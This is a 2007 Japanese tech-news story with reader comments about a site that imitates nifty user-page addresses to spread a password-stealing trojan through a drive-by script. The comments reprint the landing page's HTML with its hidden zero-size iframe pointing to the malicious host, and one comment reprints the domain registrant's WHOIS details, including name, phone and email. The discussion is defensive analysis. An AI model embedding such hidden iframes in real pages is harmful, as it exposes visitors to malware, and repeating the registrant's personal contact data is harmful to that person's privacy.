パスワードを忘れた？ アカウント作成
Close
14300 story

niftyに偽装した悪意のあるサイトが登場 70

ストーリー by mhatta
気を付けよう 部門より

hylom 曰く、

「www.homepage3-nifty.com」という、niftyに偽装したサイトが登場した。

このサイト、一見niftyのサイトに見えるのだが、よく見ると分かるとおり実はniftyとまったく関連はない。さまざまな掲示板やコメントスパムなどで、安全なサイトへのリンクに見せかけ、スクリプトを仕込んだ下記などのページに誘導する手口のようだ。

※下記のURLのページには悪意のあるスクリプトが含まれているため、ご注意を。

http://www.homepage3-nifty.com/online/
なお、含まれているスクリプトはXMLHTTPと呼ばれるXMLでデータを受け渡す機構を使い、悪意のある(?)プログラムをローカルにダウンロードして実行するというもののようだ（スクリプト全文はこちら）。

Googleで件のサイトを検索してみたところ、オンラインゲーム系やアダルト系だけでなく、一般の掲示板やブログへのスパムコメントなどでも巧妙に誘導が謀られている例もあった。

皆様、リンクを辿る際はリンク先URLにご注意を。
この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。

niftyに偽装した悪意のあるサイトが登場 More

  • w3mで見たら、 (スコア:5, おもしろおかしい)

    by Anonymous Coward on 2007年01月03日 11時13分 (#1085872)
    <html>
    <head>
    <meta http-equiv="Content-Language" content="zh-cn">
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title></title>
    </head>
    <body bgcolor="#9CCCFF" topmargin="80" leftmargin="0">
    <p align="center"><img border="0" src="img.gif" width="0" height="0"></p>
    <iframe src="httP://www.homepage3-nifty.com/online/admin.htm" name="zhu" width="0" height="0" frameborder="0"></body>
    </html>

    しか見えませんでした。
    つまんねーの(違

  • 「怪しいURLは踏むな」は有効だろうか (スコア:5, すばらしい洞察)

    by pnp0a03_pc (7186) on 2007年01月03日 12時33分 (#1085896) 日記
    例えば、以下のようなリストがあったとして…
    http://event.nifty.com/love/
    http://myhome.nifty.com/
    http://homepage.nifty.com/
    http://travel.nifty.com/
    http://www.homepage3-nifty.com/
    http://www.cocolog-nifty.com/
    これらURLから、今回の「怪しい」サイトをURLの字面だけで「怪しい！」と推測する能力は私には無いと自信をもって言えます。

    「怪しいリンクはクリックしてはいけない」という注意はおそらく（随分前から）有効では無くて、「怪しいリンクをクリックしても大丈夫なよう対策しておきましょう」でないと最早安全とは言えないということなのだろうな、と改めて思います。

    #上のリスト中、homepage3-nifty以外は全部本物です。でもココログのURLって怪しいっすよね（苦笑）

  • と、何気に思ったが、チェック機構がありませんと。DNSのwhoisは要するに嘘を登録しても処罰されないよね。

    よくよく考えると「登記簿」みたいなものだと思うけど...。
    --

    ---
    TaddyHatty - always @( posedge ↑ or negedge ↓ )

    • Re:「homepage3-nifty.com」をwhoisで検索するとどうなんだろう？ (スコア:1, 参考になる)

      by Anonymous Coward on 2007年01月04日 13時31分 (#1086190)
      試行錯誤の欠片も見せないまま
      結論付けられていますね。

              'gemnnammobbs.com', // by lin zhiqiang (mail at pcinc.cn)
              'homepage3-nifty.com', // by lin zhiqiang (mail at pcinc.cn)
              'ragnaroklink.com', // by lin zhiqiang (mail at pcinc.cn)

              mail at pcinc.cn は www.pcinc.cn の連絡先として
              www.pcinc.cn の最下段にも記されています。

              そして 'pcinc.cn' は by Lin Zhi Qiang (lin80 at 21cn.com)
              ※漢字名の読み仮名

      少なくとも本件については、
      (同じ手口に見える)グループを検索できますよ。

      ＃MMORPG系の危険リンク集をあされば
      ＃他にも見つかりそうなのでhenoheno
      シェア
      親コメント

  • いくら警告しても…… (スコア:3, おもしろおかしい)

    by Anonymous Coward on 2007年01月03日 11時10分 (#1085871)
    >※下記のURLのページには悪意のあるスクリプトが含まれているため、ご注意を。

    こういうことをちゃんと書いておいても、
    「『ご注意を。』なんて書いてあるからクリックしたらパソコンが壊れたじゃないか！（怒」
    なんて言って怒鳴り込む奴がいるんだよなぁ。(´ー`)y-~~~

  • TLD (スコア:3, 参考になる)

    by wappa (20161) on 2007年01月03日 15時58分 (#1085953)
    .com だと誰でも簡単にドメインを取れちゃうから "." を "-" に置き換えてだますことも簡単にできるけど、.co.jp や .ne.jp だったら一気に敷居は高くなるはず。
    でも、ドメインとしてはちょっと古風というか、Blog に使うにはかっこ悪いって言われてしまうのかな。

    goo.co.jp？
    ああ、そんなのもあったね……。

    • .co.jp に似せた例 (スコア:2, 興味深い)

      by targz (14071) on 2007年01月04日 2時29分 (#1086108) 日記
      ＞co.jp や .ne.jp だったら一気に敷居は高くなるはず。

      「example.co.jp を取得したかったが、すでに取られていたので『example-co.jp』とか『exampleco.jp』を取得した」という例はいっぱいあるようです。汎用jp ドメイン (.jp) が誰でも簡単に取れるので、「co.jp だと安全」とも言いにくいですね。その TLD 全体で、任意のドメインを取りにくくしておかないと。

      # .mil なんかがその1つか?
      シェア
      親コメント

    • Re:TLD (スコア:1, 参考になる)

      by Anonymous Coward on 2007年01月03日 16時20分 (#1085958)
      > goo.co.jp？
      > ああ、そんなのもあったね……。

      goo.ne.jp が後発なわけで、今回の件とは関係ないかと。
      NTT-X (現 NTTレゾナント [nttr.co.jp]) のようなドメインゴロがのさばる現状はおおいに問題ありですが。
      シェア
      親コメント

  • IEの脆弱性？ (スコア:2, すばらしい洞察)

    by Anonymous Coward on 2007年01月03日 10時37分 (#1085865)
    これは Adodb.Stream と Shell.Application か WScript.Shell の脆弱性なんですかね。
    そもそもこんなものが CreateObject できてしまうことが脆弱性なのか…
    非常に簡単な手法で、ページを閲覧するだけで任意のプログラムをダウンロードして実行させることができるため、このスクリプトが本当に動くなら危険すぎです。
    Micorosoftの告知はどれなんだろう…、微妙に違うのしか見当たらない。

    • 2004年の脆弱性かな？ was:IEの脆弱性？ (スコア:2, 参考になる)

      by kei100 (5854) on 2007年01月03日 14時28分 (#1085928)
      後者かな？
      なんとなく下記の脆弱性を利用しているような気がします。
      Microsoft Data Access Components (MDAC) の機能の脆弱性により、コードが実行される可能性がある (911562) (MS06-014) [microsoft.com]
      現在検証環境が手近に存在しないので確認できませんが・・・
      シェア
      親コメント

    • Re:IEの脆弱性？ (スコア:1, すばらしい洞察)

      by Anonymous Coward on 2007年01月03日 12時58分 (#1085902)
      とっくに修正済みですが、みんながセキュリティパッチをちゃんと当ててるとは思わないように。
      シェア
      親コメント
    • 確かに、最初に穴を明ける元コード（タレコミにあるリンク参照）自体がActiveXでもXHTMLでも動くように細工されていますけど（ってその方面の物を書いたことが無いし、言語自体のドキュメントを読んだ訳でもないので、山勘でロジックを探った上で言っていますが ^^;）、
      WEBブラウザの世界が、今もてはやされているWeb 2.0、特にAJAXやSpiderMoknkey(でよかったでしたっけ？）のように、相手のサーバ上に置かれたスクリプトを読み込んで解釈する事で色々なギミックを行えるような方向で発展していく以上は、こういう偽装ドメインやブラウザのコード実行機能とのコンボで突撃をかけるというのはいづれ表に出てくる物では無かったでしょうかね。

      実際、やりかたと言うか根本にある考えとしては重要そうに偽装された電子メールに添付されたWordなどの文書を開くと中のワームが悪さをしていた時期の「それ」と変わらないと思いますし…目新しい所があるとすれば、Webでセッションを張った直後に外部サーバから攻撃コードを自力で読み込むというように、WWWブラウジングや上接続可能なインフラを逆手にとっているのでわかりにくくなっている程度ではないかと。

      結局、攻撃の狼煙をあげるための媒体と言うか実行環境がWEBブラウザのスクリプト実行環境になっただけで、目新しい部分は無いです。それですら少し前ならばJavaScript+(ActiveX|Javaアプレット)で出来たことでしょうね。

      どちらかというと、Web 2.0と言う風に呼ばれている技術の中で多く使われているような要素を悪用して、攻撃されているのをわかりにくく隠蔽する事が簡単にできてしまっている訳で、Web 2.0のアーキテクチャ自体の根本的な問題だと思いますよ。

      今のように、何でもブラウザで出来てブラウザ自体スクリプトで機能拡張できるような便利さを取るべきか、完璧な安全性に舵を取りなおすためにスクリプト実行環境を撤廃同然にすべきか…悩ましい所です。

      # まーどっちもあればいいんでしょうけどね。ブラウザの設定で実行の可否を決める程度では、
      # ブラウザ自体のバグを突破される可能性を考えると無意味な状況ではないかと。
      シェア
      親コメント

      • 結局、攻撃の狼煙をあげるための媒体と言うか実行環境がWEBブラウザのスクリプト実行環境になっただけで、目新しい部分は無いです。それですら少し前ならばJavaScript+(ActiveX|Javaアプレット)で出来たことでしょうね。

        と書いておきながら、

        Web 2.0のアーキテクチャ自体の根本的な問題だと思いますよ。

        というのを読むと、 Web 2.0 という言葉で何を指しているのかよくわからないのですが、 JavaScript も ActiveX も、 Netscape Navigator の「新機能」だったプラグインも、すべてサーバーからコードをダウンロードして実行する仕組みです。細部は違えども、サーバーからコードをダウンロードして実行する仕組み自体は最近出てきたわけではありません。

        コードをサーバーからダウンロードして実行するのは、素朴に考えればもちろん危険です。でも、それが便利だからこそ、ブラウザーのメーカーはどうやって安全性を確保しながら同じ目的を実現するかということに知恵を絞ってきたのだと思います。その結果、ブラウザーのバグがセキュリティー上問題になるかどうかによって大きく扱いを変えるという常識を生んだし、独自のプラグインや ActiveX コントロールよりも Flash Player など有名な ActiveX コントロールと JavaScript の組合せに移行してきたのだと思います。コードをダウンロード・実行するのを否定することは、 Web 1.0 の時代ではなくプラグインもない Mosaic ブラウザーの時代に逆戻りすることだと思います。

        便利さと安全性を対立するものだと捉えて、安全性を選んで便利さを捨てようと考える人がいてもかまいません。一般に便利さと安全性が対立する場面というのはよくありますし。でも僕はこの件に関しては、便利さと安全性を両立させようという努力が既にかなりの成果を挙げてきたと思っていますし、今後もその努力を続けるほうに将来性を感じます。

        シェア
        親コメント

  • niftyに偽装？ (スコア:2, すばらしい洞察)

    by Anonymous Coward on 2007年01月03日 16時20分 (#1085959)
    セキュリティ: niftyに偽装した悪意のあるサイトが登場
    「www.homepage3-nifty.com」という、niftyに偽装したサイトが登場した。
    元ネタのhomepage3.nifty.comは、niftyのユーザーが@homepage [nifty.com]を使って開設するサイトに使われるアドレスなので、
    「niftyに偽装」というより「niftyユーザーのサイトに偽装」というのが正しいのでは？

    というか、「homepage3.nifty.comなら安心」という根拠もない気がしますが。

    • Re:niftyに偽装？ (スコア:1, 参考になる)

      by Anonymous Coward on 2007年01月03日 16時47分 (#1085964)
      "homepage3.nifty.com"で何かあればniftyに怒鳴り込めばいいが、
      "homepage3-nifty.com"に怒鳴り込むと有効メアドゲットさせるだけ。
      この差は大きい。
      シェア
      親コメント

      • Re:niftyに偽装？ (スコア:2, すばらしい洞察)

        by fcp (32783) on 2007年01月03日 18時21分 (#1085989) ホームページ 日記
        "homepage3.nifty.com"で何かあればniftyに怒鳴り込めばいいが、 "homepage3-nifty.com"に怒鳴り込むと有効メアドゲットさせるだけ。
        それはないでしょう。 homepage3.nifty.com で何かあったときに nifty (正確には会員ホームページに関するお問い合わせ [nifty.com]でしょうか) に怒鳴り込む人が、 homepage3-nifty.com で何かあったときに homepage3-nifty.com に怒鳴り込むとは思えません。

        そうではなくて、 nifty に怒鳴り込んでも解決しないところが怖いのだと思います。

        怒鳴り込まれることはしていないはずの @homepage ユーザーより。

        シェア
        親コメント

  • 危険だな。 (スコア:2, すばらしい洞察)

    by Anonymous Coward on 2007年01月03日 16時58分 (#1085966)
    > 悪意のあるスクリプトが含まれているため、ご注意を。

    ・ここにウイルスがあるため、ご注意を。
    ・ここに個人情報が掲載されているため、ご注意を。
    ・ここに死体写真があるため、ご注意を。
    ・ここに裸の写真があるため、ご注意を。

    などなど結局アクセスすると思うんだけどな。

    • Re:危険だな。 (スコア:2, 興味深い)

      by butyobuyo (30656) on 2007年01月04日 9時52分 (#1086143) 日記

      spam だと、最近では、

      祖父はワンちゃんを拾ってきたんだよと 言ってるのですが、どう見ても犬じゃないですよね？ これ、日本にいて大丈夫な生き物でしょうか？ http://xxxxxxxxxx/ [xxxxxxxxxx] 写真をアップしておきましたので、 この生き物が何なのか 教えていただけないでしょうか？

      これが一番強力に魅力的でした。マジでクリックしそうになった。

      シェア
      親コメント

    • Re:危険だな。 (スコア:1, すばらしい洞察)

      by Anonymous Coward on 2007年01月03日 17時25分 (#1085974)
      >・ここに裸の写真があるため、ご注意を。

      これは嬉々としてアクセスするでしょうねｗ
      シェア
      親コメント

      • Re:危険だな。 (スコア:1, すばらしい洞察)

        by Anonymous Coward on 2007年01月03日 17時44分 (#1085982)
        ちょっとまて！
        対象の年齢も性別も、生死も、いや人間かどうかも書いてないぞ!!

        期待が高いほど、ダメージが大きいと思う。
        シェア
        親コメント

  • 水色一色 (スコア:1, おもしろおかしい)

    by Anonymous Coward on 2007年01月03日 12時08分 (#1085885)
    一見niftyのサイトに見えるのだが、
    全然そのようには見えません。

  • 紛らわしいドメイン名 (スコア:0)

    by Anonymous Coward on 2007年01月03日 9時34分 (#1085846)
    確かそのようなものはすぐに剥奪できるような話を聞いたことがあるんだが、気のせいだっただろうか。
    剥奪以前に、与えられないようにしてもらいたいものだが…

    • Re:紛らわしいドメイン名 (スコア:5, 参考になる)

      by Anonymous Coward on 2007年01月03日 10時35分 (#1085864)
      確かに紛らわしい。　Niftyによくアクセスする人ほど釣られてしまいそう。

      で、VMware使って実際にそのサイトにアクセスしてみた。（パーソナル・ファイアーウォールやアンチウイルス・ソフトを
      併用した上でのテストなので、怖いもの見たさで自分で試すときは注意してほしい）
      いきなり中国語の言語パックをインストールするかどうかIEからのメッセージが出たのでキャンセルすると青バックの
      画面だけで何も表示されない。
      青バック画面のソースは下記のとおり。
      content="zh-cn"　とか、charset=gb2312　とか、 name="zhu" とかあるから中国人／中国人留学生の作のようだ。

      <html>
      <head>
      <meta http-equiv="Content-Language" content="zh-cn">
      <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
      <title></title>
      </head>
      <body bgcolor="#9CCCFF" topmargin="80" leftmargin="0">
      <p align="center"><img border="0" src="img.gif" width="0" height="0"></p>
      <iframe src="httP://www.homepage3-nifty.com/online/admin.htm" name="zhu" width="0" height="0" frameborder="0"></body>
      </html>
      シェア
      親コメント

      • Re:紛らわしいドメイン名 (スコア:5, 参考になる)

        by Anonymous Coward on 2007年01月03日 11時35分 (#1085875)
        たしかに中国ですね
        Domain Name ..................... homepage3-nifty.com
        Name Server ..................... ns1.dnsfamily.com
                                                                            ns2.dnsfamily.com
        Registrant ID ................... hc343410609-cn
        Registrant Name ................. lin zhiqiang
        Registrant Organization ......... zhiqiang lin
        Registrant Address .............. fujian longyan
        Registrant City ................. longyan
        Registrant Province/State ....... fujian
        Registrant Postal Code .......... 364000
        Registrant Country Code ......... CN
        Registrant Phone Number ......... +86.05973289053 -
        Registrant Fax .................. +86.05973289053 -
        Registrant Email ................ mail@pcinc.cn
        長いので省略
        シェア
        親コメント

      • Re:紛らわしいドメイン名 (スコア:5, 参考になる)

        by KuRo-CaT (31239) on 2007年01月03日 11時35分 (#1085876)
        自分は思いきって中国語LanguagePackをインストールしてアクセスしてみました（Virtual PC上のWin2Kですが)
        実験用に飼っているので全くセキュリティパッチは当てていません。

        するとブルーバックの画面が表示されたのでしばらく待ってみたところ、ホスト側(WinXP)のNOD32(2.7)のIMONが反応しました。

        NOD32の報告によるとWin32/PSW.MaranというTrojanの亜種をインストールしようとしてきたようです。
        ファイル名は/svch.exe
        ググってみたところTR/PSW.Maran.G.5 [avira.com]
        の情報が引っかかりました。
        これと同系統なTrojanの亜種とすると情報を送信するオーソドックスなタイプのTrojanのようです。
        シェア
        親コメント

    • Re:紛らわしいドメイン名 (スコア:2, すばらしい洞察)

      by Elbereth (17793) on 2007年01月03日 9時48分 (#1085850)
      ドメイン申請を全部事前に審査を行うのは無理でしょう。
      審査に何ヶ月もかかってしまう恐れがありますよ?
      goo.ne.jpとgoo.co.jpの紛争にあるようなドメイン取得の
      後先と商標の問題とかからんでくると、事前審査なんてのは
      夢物語というか……
      シェア
      親コメント
  • 悪意あるスクリプト「Expolit.JS.ADODB.Stream.e」として端から弾かれました。
    まったくよく出来てますね。

    • ちなみに (スコア:0)

      by Anonymous Coward
      ウイルスセキュリティーでは「スルー力が」有効みたいです
      注意されたし
typodupeerror

私はプログラマです。1040 formに私の職業としてそう書いています -- Ken Thompson